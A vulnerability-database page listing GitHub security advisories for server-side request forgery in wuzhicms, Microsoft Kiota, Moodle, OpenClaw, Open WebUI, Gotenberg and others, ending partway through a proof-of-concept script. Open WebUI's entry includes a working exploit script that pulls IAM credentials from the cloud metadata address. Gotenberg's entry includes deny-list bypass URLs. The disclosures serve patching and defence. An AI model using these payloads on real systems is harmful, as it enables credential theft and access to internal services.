CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4787 vulnerabilities reference this CWE, most recent first.
GHSA-4RHC-Q92G-RM98
Vulnerability from github – Published: 2025-01-15 18:30 – Updated: 2025-01-15 18:30A vulnerability classified as problematic has been found in wuzhicms 4.1.0. This affects the function test of the file coreframe/app/search/admin/config.php. The manipulation of the argument sphinxhost/sphinxport leads to server-side request forgery. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2025-0480"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-15T18:15:24Z",
"severity": "MODERATE"
},
"details": "A vulnerability classified as problematic has been found in wuzhicms 4.1.0. This affects the function test of the file coreframe/app/search/admin/config.php. The manipulation of the argument sphinxhost/sphinxport leads to server-side request forgery. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-4rhc-q92g-rm98",
"modified": "2025-01-15T18:30:58Z",
"published": "2025-01-15T18:30:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0480"
},
{
"type": "WEB",
"url": "https://github.com/wuzhicms/wuzhicms/issues/212"
},
{
"type": "WEB",
"url": "https://github.com/wuzhicms/wuzhicms/issues/212#issue-2769226216"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.291915"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.291915"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.474965"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-4RJ6-VRWV-WR8M
Vulnerability from github – Published: 2026-07-24 16:11 – Updated: 2026-07-24 16:11Summary
Microsoft Kiota honors a poisoned .kiota/workspace.json — the workspace configuration that Kiota's
documented team workflow has developers commit to their repository — unvalidated on
kiota client generate / kiota plugin generate. A repository (or pull request) containing a malicious
per-client / per-plugin outputPath causes Kiota, when a developer or CI runs the documented regenerate
command, to (CWE-22) write the entire generated client to an arbitrary path outside the workspace — the
outputPath was not confined to the workspace root and absolute paths were accepted.
Confirmed on Kiota 1.32.4 (KIOTA_CONFIG_PREVIEW=true, the self-contained linux-x64 release binary).
Details
// .kiota/workspace.json (committed to the repo)
"clients": { "MyClient": {
"outputPath": "/abs/path/outside/repo/pwned_client" // -> generated client written here (CWE-22)
}}
Running kiota client generate --client-name MyClient in the repo writes MyClient.cs,
P/PRequestBuilder.cs, … to the attacker-chosen outputPath (verified outside the working tree).
Note on descriptionLocation
The per-consumer descriptionLocation is intentionally fetched at generation time — this is how Kiota knows
where to pull an updated description from when refreshing a client, the same way any other value in a
committed lock/config file is honored. It is not treated as a vulnerability and is unchanged; only
outputPath is now confined.
Impact
A malicious or compromised repository — or a malicious PR that edits .kiota/workspace.json — leads to
arbitrary file write on the developer's or CI host's filesystem (overwrite source/build files, drop files in
auto-loaded locations) whenever a teammate clones/pulls and runs the documented kiota client generate /
kiota plugin generate to refresh the client. CWE-22.
This is a different trust boundary from the OpenAPI-description-based findings: the malicious input is the Kiota config, not the spec.
Patches
Fixed in 1.32.5 (https://github.com/microsoft/kiota/pull/7885). On loading a workspace configuration,
each client/plugin outputPath is validated to be a relative subdirectory of the workspace: null/empty,
rooted paths (POSIX /, UNC \\ / //, Windows drive X:\), and any .. traversal segment are rejected,
and the resolved full path must stay under the workspace root. Generation aborts with an error if any
consumer's outputPath escapes the workspace.
Remediation
Upgrade to Kiota 1.32.5 or later. Review any committed workspace configs for outputPath values that
point outside the workspace.
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.OpenApi.Kiota"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.32.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.OpenApi.Kiota.Builder"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.32.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59863"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-829",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T16:11:24Z",
"nvd_published_at": "2026-07-16T15:16:35Z",
"severity": "HIGH"
},
"details": "### Summary\n\nMicrosoft Kiota honors a poisoned `.kiota/workspace.json` \u2014 the workspace configuration that Kiota\u0027s\ndocumented team workflow has developers commit to their repository \u2014 **unvalidated** on\n`kiota client generate` / `kiota plugin generate`. A repository (or pull request) containing a malicious\nper-client / per-plugin `outputPath` causes Kiota, when a developer or CI runs the documented regenerate\ncommand, to **(CWE-22) write the entire generated client to an arbitrary path outside the workspace** \u2014 the\n`outputPath` was not confined to the workspace root and absolute paths were accepted.\n\nConfirmed on Kiota **1.32.4** (`KIOTA_CONFIG_PREVIEW=true`, the self-contained `linux-x64` release binary).\n\n### Details\n\n```jsonc\n// .kiota/workspace.json (committed to the repo)\n\"clients\": { \"MyClient\": {\n \"outputPath\": \"/abs/path/outside/repo/pwned_client\" // -\u003e generated client written here (CWE-22)\n}}\n```\n\nRunning `kiota client generate --client-name MyClient` in the repo writes `MyClient.cs`,\n`P/PRequestBuilder.cs`, \u2026 to the attacker-chosen `outputPath` (verified outside the working tree).\n\n#### Note on `descriptionLocation`\n\nThe per-consumer `descriptionLocation` is intentionally fetched at generation time \u2014 this is how Kiota knows\nwhere to pull an updated description from when refreshing a client, the same way any other value in a\ncommitted lock/config file is honored. It is **not** treated as a vulnerability and is unchanged; only\n`outputPath` is now confined.\n\n### Impact\n\nA malicious or compromised repository \u2014 or a malicious PR that edits `.kiota/workspace.json` \u2014 leads to\narbitrary file write on the developer\u0027s or CI host\u0027s filesystem (overwrite source/build files, drop files in\nauto-loaded locations) whenever a teammate clones/pulls and runs the documented `kiota client generate` /\n`kiota plugin generate` to refresh the client. CWE-22.\n\nThis is a different trust boundary from the OpenAPI-description-based findings: the malicious input is the\nKiota **config**, not the spec.\n\n### Patches\n\nFixed in **1.32.5** (https://github.com/microsoft/kiota/pull/7885). On loading a workspace configuration,\neach client/plugin `outputPath` is validated to be a relative subdirectory of the workspace: null/empty,\nrooted paths (POSIX `/`, UNC `\\\\` / `//`, Windows drive `X:\\`), and any `..` traversal segment are rejected,\nand the resolved full path must stay under the workspace root. Generation aborts with an error if any\nconsumer\u0027s `outputPath` escapes the workspace.\n\n### Remediation\n\nUpgrade to Kiota **1.32.5** or later. Review any committed workspace configs for `outputPath` values that\npoint outside the workspace.",
"id": "GHSA-4rj6-vrwv-wr8m",
"modified": "2026-07-24T16:11:24Z",
"published": "2026-07-24T16:11:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/microsoft/kiota/security/advisories/GHSA-4rj6-vrwv-wr8m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59863"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/kiota/pull/7885"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/kiota/commit/4049327872db7846ace35c9003774d3e3878e4e9"
},
{
"type": "PACKAGE",
"url": "https://github.com/microsoft/kiota"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/kiota/releases/tag/v1.32.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Microsoft Kiota Workspace-config poisoning: out-of-repo file write + generation-time SSRF"
}
GHSA-4RMJ-W58M-FVCH
Vulnerability from github – Published: 2023-03-06 21:30 – Updated: 2025-03-05 19:05In Moodle, insufficient redirect handling made it possible to blindly bypass cURL blocked hosts/allowed ports restrictions, resulting in a blind SSRF risk.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "3.11.0-beta"
},
{
"fixed": "3.11.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "3.10.0-beta"
},
{
"fixed": "3.10.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.9.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-36396"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2023-03-07T20:56:50Z",
"nvd_published_at": "2023-03-06T21:15:00Z",
"severity": "HIGH"
},
"details": "In Moodle, insufficient redirect handling made it possible to blindly bypass cURL blocked hosts/allowed ports restrictions, resulting in a blind SSRF risk.",
"id": "GHSA-4rmj-w58m-fvch",
"modified": "2025-03-05T19:05:46Z",
"published": "2023-03-06T21:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-36396"
},
{
"type": "PACKAGE",
"url": "https://github.com/moodle/moodle"
},
{
"type": "WEB",
"url": "https://moodle.org/mod/forum/discuss.php?d=424802"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Moodle vulnerable to Server-Side Request Forgery"
}
GHSA-4RQQ-W8V4-7P47
Vulnerability from github – Published: 2026-03-04 19:03 – Updated: 2026-04-24 20:59Summary
isPrivateIpv4() in bundled SSRF guard code missed several IPv4 special-use/non-global ranges, so web_fetch could allow targets that should be blocked by SSRF policy.
Affected Packages / Versions
- Package:
openclaw(npm) - Latest published affected version:
2026.2.21-2(published 2026-02-21) - Structured vulnerable range:
<= 2026.2.21-2 - Planned patched version (pre-set):
>= 2026.2.22
Impact
Low severity. Exploitation requires network reachability to the relevant special-use ranges and a request path that reaches web_fetch URL fetching.
Technical Details
Affected releases used narrow IPv4 private-range checks that omitted multiple RFC special-use/non-global ranges. This allowed requests such as http://198.18.0.1/... through SSRF validation in affected releases. Follow-up hardening consolidates local-host/tailnet range checks so gateway/browser/tailnet paths share one canonical IP classification flow.
Fix Commit(s)
71bd15bb4294d3d1b54386064d69cd0f5f731bd844dfbd23df453e51b71ef79a148c28c53e89168c333fbb86347998526dd514290adfd5f727caa6d9f14ebd743cfc73f667fae80af70043d0ab1f88bd
OpenClaw thanks @princeeismond-dot for reporting.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.2.22"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32019"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-04T19:03:45Z",
"nvd_published_at": "2026-03-19T22:16:35Z",
"severity": "MODERATE"
},
"details": "### Summary\n`isPrivateIpv4()` in bundled SSRF guard code missed several IPv4 special-use/non-global ranges, so `web_fetch` could allow targets that should be blocked by SSRF policy.\n\n### Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Latest published affected version: `2026.2.21-2` (published 2026-02-21)\n- Structured vulnerable range: `\u003c= 2026.2.21-2`\n- Planned patched version (pre-set): `\u003e= 2026.2.22`\n\n### Impact\nLow severity. Exploitation requires network reachability to the relevant special-use ranges and a request path that reaches `web_fetch` URL fetching.\n\n### Technical Details\nAffected releases used narrow IPv4 private-range checks that omitted multiple RFC special-use/non-global ranges. This allowed requests such as `http://198.18.0.1/...` through SSRF validation in affected releases. Follow-up hardening consolidates local-host/tailnet range checks so gateway/browser/tailnet paths share one canonical IP classification flow.\n\n### Fix Commit(s)\n- `71bd15bb4294d3d1b54386064d69cd0f5f731bd8`\n- `44dfbd23df453e51b71ef79a148c28c53e89168c`\n- `333fbb86347998526dd514290adfd5f727caa6d9`\n- `f14ebd743cfc73f667fae80af70043d0ab1f88bd`\n\nOpenClaw thanks @princeeismond-dot for reporting.",
"id": "GHSA-4rqq-w8v4-7p47",
"modified": "2026-04-24T20:59:05Z",
"published": "2026-03-04T19:03:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-4rqq-w8v4-7p47"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32019"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/333fbb86347998526dd514290adfd5f727caa6d9"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/44dfbd23df453e51b71ef79a148c28c53e89168c"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/71bd15bb4294d3d1b54386064d69cd0f5f731bd8"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/f14ebd743cfc73f667fae80af70043d0ab1f88bd"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-incomplete-ipv4-special-use-range-blocking-in-ssrf-guard"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw has incomplete IPv4 special-use SSRF blocking in web fetch guard"
}
GHSA-4V64-W7V7-CH7F
Vulnerability from github – Published: 2023-07-10 18:30 – Updated: 2024-10-16 12:30An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.
{
"affected": [],
"aliases": [
"CVE-2021-42079"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-10T16:15:47Z",
"severity": "MODERATE"
},
"details": "An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.",
"id": "GHSA-4v64-w7v7-ch7f",
"modified": "2024-10-16T12:30:47Z",
"published": "2023-07-10T18:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-42079"
},
{
"type": "WEB",
"url": "https://cisrt.divd.nl/DIVD-2021-00020"
},
{
"type": "WEB",
"url": "https://csirt.divd.nl/CVE-2021-42079"
},
{
"type": "WEB",
"url": "https://www.divd.nl/DIVD-2021-00020"
},
{
"type": "WEB",
"url": "https://www.osnexus.com/products/software-defined-storage"
},
{
"type": "WEB",
"url": "https://www.wbsec.nl/osnexus"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4V7R-F4W8-8972
Vulnerability from github – Published: 2026-05-14 20:18 – Updated: 2026-05-15 23:53SSRF Bypass via IPv6/IPv4-mapped IPv6/IPv4-reserved-ranges in validate_url()
Summary
validate_url() in backend/open_webui/retrieval/web/utils.py calls validators.ipv6(ip, private=True), but the validators library does NOT implement the private keyword for IPv6 — the call raises a ValidationError (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (::ffff:10.0.0.1) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.0.0/24, etc.) are not blocked.
The vulnerability has existed since the validate_url() function was introduced and was NOT actually fixed by GHSA-c6xv-rcvw-v685 / CVE-2025-65958 despite that patch's intent. It affects every endpoint that calls validate_url(), including /api/v1/retrieval/process/web, /api/v1/images/edit, and others.
Affected code
backend/open_webui/retrieval/web/utils.py validate_url():
if validators.ipv6(ip, private=True): # ValidationError is falsy — never raises
raise ValueError(...)
Proof of concept
import validators
print(validators.ipv6("::1", private=True))
# ValidationError(func=ipv6, args={'reason': "ipv6() got an unexpected keyword argument 'private'", ...})
End-to-end exploit:
import requests, ipaddress
OPEN_WEBUI_URL = "https://target"
TOKEN = "..."
TARGET_IPV4 = "169.254.169.254" # AWS IMDSv1
mapped = "::ffff:" + TARGET_IPV4
requests.post(f"{OPEN_WEBUI_URL}/api/v1/retrieval/process/web",
headers={"Authorization": f"Bearer {TOKEN}"},
json={"collection_name": "", "url": f"http://[{mapped}]/latest/meta-data/iam/security-credentials/"})
Impact
Any authenticated user can reach any internal IPv4/IPv6 address from the server process — cloud metadata, localhost-bound APIs, internal services. IMDSv1 reachability leads to IAM credential exfiltration.
Recommended fix
Replace the validators library calls with stdlib ipaddress:
import ipaddress
addr = ipaddress.ip_address(ip)
if addr.is_private or addr.is_loopback or addr.is_link_local or addr.is_multicast or addr.is_reserved or addr.is_unspecified:
raise ValueError(...)
# also unwrap IPv4-mapped IPv6 and re-check:
if isinstance(addr, ipaddress.IPv6Address) and addr.ipv4_mapped:
addr_v4 = addr.ipv4_mapped
if addr_v4.is_private or addr_v4.is_loopback or ...:
raise ValueError(...)
# plus explicit blocks for IANA reserved ranges (0.0.0.0/8, 100.64.0.0/10, etc. — see body for full list).
Related but separate advisories
- Redirect-bypass cluster: GHSA-rh5x-h6pp-cjj6
- DNS rebinding TOCTOU: GHSA-h6x2-583h-x99r
- urlparse / requests parsing-differential: GHSA-8w7q-q5jp-jvgx
- Playwright loader redirect: GHSA-jrfp-m64g-pcwv
- Missing
validate_url()call in image_generations: GHSA-h7cc-wwjp-5xqh
Credits
- Dor Konis (dkonis, GE Vernova) — first to identify the
validators.ipv6(private=True)silent-fail and IPv4-mapped IPv6 bypass; GHSA-4v7r-f4w8-8972 (this filing, 2024-09-11; credit explicitly requested in original report). - wlayzz — first to identify the unblocked IPv4 reserved ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.2.0/24, 198.18.0.0/15, 203.0.113.0/24, etc.); GHSA-pxgj-3gvh-mfjv.
Subsequent filings (GHSA-mggf-94hh-vp4w by vnth4nhnt, GHSA-xhgr-g5q7-jg6p by L1M1T-HACK) re-described the same root cause on the same or different endpoints and were closed as duplicates without advisory credit — fixing validate_url() once resolves all of them.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.12"
},
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45331"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T20:18:54Z",
"nvd_published_at": "2026-05-15T20:16:48Z",
"severity": "HIGH"
},
"details": "# SSRF Bypass via IPv6/IPv4-mapped IPv6/IPv4-reserved-ranges in `validate_url()`\n\n## Summary\n\n`validate_url()` in `backend/open_webui/retrieval/web/utils.py` calls `validators.ipv6(ip, private=True)`, but the `validators` library does NOT implement the `private` keyword for IPv6 \u2014 the call raises a `ValidationError` (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (`::ffff:10.0.0.1`) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (`0.0.0.0/8`, `100.64.0.0/10`, `192.0.0.0/24`, etc.) are not blocked.\n\nThe vulnerability has existed since the `validate_url()` function was introduced and was NOT actually fixed by GHSA-c6xv-rcvw-v685 / CVE-2025-65958 despite that patch\u0027s intent. It affects every endpoint that calls `validate_url()`, including `/api/v1/retrieval/process/web`, `/api/v1/images/edit`, and others.\n\n## Affected code\n\n`backend/open_webui/retrieval/web/utils.py validate_url()`:\n\n```python\nif validators.ipv6(ip, private=True): # ValidationError is falsy \u2014 never raises\n raise ValueError(...)\n```\n\n## Proof of concept\n\n```python\nimport validators\nprint(validators.ipv6(\"::1\", private=True))\n# ValidationError(func=ipv6, args={\u0027reason\u0027: \"ipv6() got an unexpected keyword argument \u0027private\u0027\", ...})\n```\n\nEnd-to-end exploit:\n\n```python\nimport requests, ipaddress\n\nOPEN_WEBUI_URL = \"https://target\"\nTOKEN = \"...\"\nTARGET_IPV4 = \"169.254.169.254\" # AWS IMDSv1\nmapped = \"::ffff:\" + TARGET_IPV4\n\nrequests.post(f\"{OPEN_WEBUI_URL}/api/v1/retrieval/process/web\",\n headers={\"Authorization\": f\"Bearer {TOKEN}\"},\n json={\"collection_name\": \"\", \"url\": f\"http://[{mapped}]/latest/meta-data/iam/security-credentials/\"})\n```\n\n## Impact\n\nAny authenticated user can reach any internal IPv4/IPv6 address from the server process \u2014 cloud metadata, localhost-bound APIs, internal services. IMDSv1 reachability leads to IAM credential exfiltration.\n\n## Recommended fix\n\nReplace the `validators` library calls with stdlib `ipaddress`:\n\n```python\nimport ipaddress\naddr = ipaddress.ip_address(ip)\nif addr.is_private or addr.is_loopback or addr.is_link_local or addr.is_multicast or addr.is_reserved or addr.is_unspecified:\n raise ValueError(...)\n# also unwrap IPv4-mapped IPv6 and re-check:\nif isinstance(addr, ipaddress.IPv6Address) and addr.ipv4_mapped:\n addr_v4 = addr.ipv4_mapped\n if addr_v4.is_private or addr_v4.is_loopback or ...:\n raise ValueError(...)\n# plus explicit blocks for IANA reserved ranges (0.0.0.0/8, 100.64.0.0/10, etc. \u2014 see body for full list).\n```\n\n## Related but separate advisories\n\n- Redirect-bypass cluster: GHSA-rh5x-h6pp-cjj6\n- DNS rebinding TOCTOU: GHSA-h6x2-583h-x99r\n- urlparse / requests parsing-differential: GHSA-8w7q-q5jp-jvgx\n- Playwright loader redirect: GHSA-jrfp-m64g-pcwv\n- Missing `validate_url()` call in image_generations: GHSA-h7cc-wwjp-5xqh\n\n## Credits\n\n- **Dor Konis (dkonis, GE Vernova)** \u2014 first to identify the `validators.ipv6(private=True)` silent-fail and IPv4-mapped IPv6 bypass; GHSA-4v7r-f4w8-8972 (this filing, 2024-09-11; credit explicitly requested in original report).\n- **wlayzz** \u2014 first to identify the unblocked IPv4 reserved ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.2.0/24, 198.18.0.0/15, 203.0.113.0/24, etc.); GHSA-pxgj-3gvh-mfjv.\n\nSubsequent filings (GHSA-mggf-94hh-vp4w by vnth4nhnt, GHSA-xhgr-g5q7-jg6p by L1M1T-HACK) re-described the same root cause on the same or different endpoints and were closed as duplicates without advisory credit \u2014 fixing `validate_url()` once resolves all of them.",
"id": "GHSA-4v7r-f4w8-8972",
"modified": "2026-05-15T23:53:48Z",
"published": "2026-05-14T20:18:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-4v7r-f4w8-8972"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45331"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-c6xv-rcvw-v685"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI has a full SSRF Vulnerability in the RAG Web Search Feature"
}
GHSA-4VMC-GM8V-M35H
Vulnerability from github – Published: 2026-05-07 01:15 – Updated: 2026-05-14 20:52Summary
The default deny-lists used by Gotenberg's downloadFrom feature and webhook feature are bypassable. Because the filter is regex-based and case-sensitive, an unauthenticated attacker can supply URLs such as http://[::ffff:127.0.0.1]:... and reach loopback or private HTTP services that the default deny-list is intended to block. This crosses a real security boundary because an external caller can force the server to make outbound requests to internal-only targets.
Details
The issue originates from the shipped default deny-list regexes and the way those regexes are applied:
pkg/modules/api/api.go:198-200defines the defaultapi-download-from-deny-list.pkg/modules/webhook/webhook.go:41-43defines the defaultwebhook-deny-list.pkg/gotenberg/filter.go:20-69evaluates those patterns withregexp2using case-sensitive matching.
The attacker-controlled URL then reaches outbound request sinks:
pkg/modules/api/context.go:208-282- Reads attacker-supplied
downloadFrom. - Calls
gotenberg.FilterDeadline(...). - Issues an outbound GET with
retryablehttp.NewRequest(...)andclient.Do(...). pkg/modules/webhook/middleware.go:99-217- Reads
Gotenberg-Webhook-UrlandGotenberg-Webhook-Events-Url. - Calls
gotenberg.FilterDeadline(...). - Constructs a
clientfor outbound delivery. pkg/modules/webhook/client.go:39-152- Sends the success or error webhook request.
pkg/modules/webhook/client.go:155-216- Sends the webhook event request.
Why the bypass works:
- The default deny-list only blocks lowercase
http://andhttps://prefixes. - The filtering logic performs case-sensitive regex matching on the raw user input.
- Go's HTTP stack accepts multiple textual representations of loopback/private addresses that are not covered by the default regex, including IPv4-mapped IPv6 loopback like
http://[::ffff:127.0.0.1]:18081/.... - As a result, a URL can fail the deny-list check but still be interpreted as a valid loopback/private destination by the outbound client.
Confirmed bypass used during verification:
http://[::ffff:127.0.0.1]:18081/page_1.pdfhttp://[::ffff:127.0.0.1]:18082/uploadhttp://[::ffff:127.0.0.1]:18082/events
This is not the same issue as the previously published Chromium deny-list advisories. This finding affects the separate downloadFrom and webhook URL filtering paths.
PoC
One-command verification
From the repository root:
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg'
./tmp/poc/verify_ssrf_poc.sh
What the script does:
- Builds or reuses a slim local Gotenberg image that contains only the modules needed for this proof.
- Starts Gotenberg on
127.0.0.1:3000. - Starts an internal-only helper listener inside the same container network namespace.
- Verifies
downloadFromSSRF by forcing Gotenberg to fetch a PDF fromhttp://[::ffff:127.0.0.1]:18081/page_1.pdf. - Verifies
webhookSSRF by forcing Gotenberg to POST tohttp://[::ffff:127.0.0.1]:18082/uploadandhttp://[::ffff:127.0.0.1]:18082/events. - Writes evidence artifacts to disk.
Expected success output:
[4/6] Verifying downloadFrom SSRF bypass with http://[::ffff:127.0.0.1]:18081/page_1.pdf
PASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata
[5/6] Verifying webhook SSRF bypass with http://[::ffff:127.0.0.1]:18082/upload
PASS webhook: Gotenberg POSTed to an internal-only loopback listener
Evidence files created by the script:
/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log
Manual evidence commands
The following commands were run after the verifier completed successfully:
jq '.' '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json'
cat '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log'
Observed output:
{
"page_1.pdf": {
"CreateDate": "2025:02:17 14:46:38+00:00",
"FileType": "PDF",
"FileTypeExtension": "pdf",
"Linearized": "No",
"MIMEType": "application/pdf",
"ModifyDate": "2025:02:17 14:46:38+00:00",
"PDFVersion": 1.7,
"PageCount": 1,
"Producer": "PDFTron built-in office converter, V11.2.0-d27340a176\n",
"SourceFile": "/tmp/d924af59-709e-4d08-8ebc-dafec9048235/b0d0dcdc-84ff-4919-8fe6-f6bdbbd9a68a/eae4a9bc-e3e3-48e2-b5bd-114408d87d84.pdf"
}
}
POST /upload len=4363 content-type=application/pdf
POST /events len=126 content-type=application/json
PoC Video:
https://github.com/user-attachments/assets/a70a4e09-e9a7-4df8-a9a5-77b09fbd59f3
Interpretation:
- The JSON metadata proves Gotenberg successfully fetched and parsed a PDF from an internal loopback URL.
- The webhook log proves Gotenberg sent outbound requests to internal loopback endpoints that should have been blocked by the default deny-list.
verify_ssrf_poc.sh
#!/usr/bin/env bash
set -euo pipefail
ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)"
IMAGE="${IMAGE:-gotenberg-local-ssrf-poc:minimal}"
DOCKERFILE="${DOCKERFILE:-$ROOT/tmp/poc/Dockerfile.minimal}"
GOTENBERG_NAME="${GOTENBERG_NAME:-gotenberg-ssrf-poc}"
HELPER_NAME="${HELPER_NAME:-gotenberg-ssrf-helper}"
PORT="${PORT:-3000}"
ARTIFACT_DIR="${ARTIFACT_DIR:-$ROOT/tmp/poc/artifacts}"
TEST_PDF="$ROOT/test/integration/testdata/page_1.pdf"
DOWNLOAD_JSON="$ARTIFACT_DIR/downloadfrom-metadata.json"
WEBHOOK_LOG="$ARTIFACT_DIR/webhook.log"
HELPER_SCRIPT="$ARTIFACT_DIR/internal_helper.py"
DOWNLOAD_BYPASS_URL="http://[::ffff:127.0.0.1]:18081/page_1.pdf"
WEBHOOK_UPLOAD_BYPASS_URL="http://[::ffff:127.0.0.1]:18082/upload"
WEBHOOK_EVENTS_BYPASS_URL="http://[::ffff:127.0.0.1]:18082/events"
PDF_ENGINE_FLAGS=(
"--pdfengines-merge-engines=qpdf"
"--pdfengines-split-engines=qpdf"
"--pdfengines-flatten-engines=qpdf"
